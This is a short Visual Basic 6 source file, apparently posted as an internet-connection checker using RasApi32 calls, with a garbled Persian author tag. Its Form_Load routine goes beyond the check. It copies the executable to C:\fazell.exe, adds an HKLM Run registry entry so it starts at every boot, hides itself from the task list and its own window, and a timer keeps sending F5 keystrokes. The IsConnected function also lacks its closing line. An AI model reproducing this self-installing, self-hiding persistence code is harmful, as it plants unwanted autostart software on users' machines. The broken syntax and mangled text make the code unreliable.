Private Declare Function RasEnumConnections Lib "RasApi32.dll" Alias "RasEnumConnectionsA" (lpRasCon As Any, lpcb As Long, lpcConnections As Long) As Long

Private Declare Function RasGetConnectStatus Lib "RasApi32.dll" Alias "RasGetConnectStatusA" (ByVal hRasCon As Long, lpStatus As Any) As Long


Private Const RAS95_MaxEntryName = 256

Private Const RAS95_MaxDeviceType = 16

Private Const RAS95_MaxDeviceName = 32


Private Type RASCONN95

    dwSize As Long

    hRasCon As Long

    szEntryName(RAS95_MaxEntryName) As Byte

    szDeviceType(RAS95_MaxDeviceType) As Byte

    szDeviceName(RAS95_MaxDeviceName) As Byte

End Type

'------------------------------------fazell nasiri ÝÇÖá Ìæä ÏÑ ÎÏãÊ ÔãÇÓÊ

Private Type RASCONNSTATUS95

    dwSize As Long

    RasConnState As Long

    dwError As Long

    szDeviceType(RAS95_MaxDeviceType) As Byte

    szDeviceName(RAS95_MaxDeviceName) As Byte

End Type

  Private Function IsConnected() As Boolean

Dim TRasCon(255) As RASCONN95

Dim lg As Long

Dim lpcon As Long

Dim RetVal As Long

Dim Tstatus As RASCONNSTATUS95

TRasCon(0).dwSize = 412

lg = 256 * TRasCon(0).dwSize

'

RetVal = RasEnumConnections(TRasCon(0), lg, lpcon)

If RetVal <> 0 Then

                    MsgBox "ERROR"

                    Exit Function

                    End If

Tstatus.dwSize = 160

RetVal = RasGetConnectStatus(TRasCon(0).hRasCon, Tstatus)

If Tstatus.RasConnState = &H2000 Then

 IsConnected = True

Else
IsConnected = False
End If

 Private Sub Form_Load()
    If IsConnected = True Then
    Timer1.Enabled = False
    Else
    msg = MsgBox("Not Connect to internet !", , "ÝÇÖá äÕíÑí")
    End If
    FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\" & "fazell.exe"
   Set reg = CreateObject("wscript.shell")
reg.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\" & App.EXEName, "C:\fazell.exe"
App.TaskVisible = False
Me.Hide
End Sub

Private Sub Timer1_Timer()
    SendKeys ("{f5}")
End Sub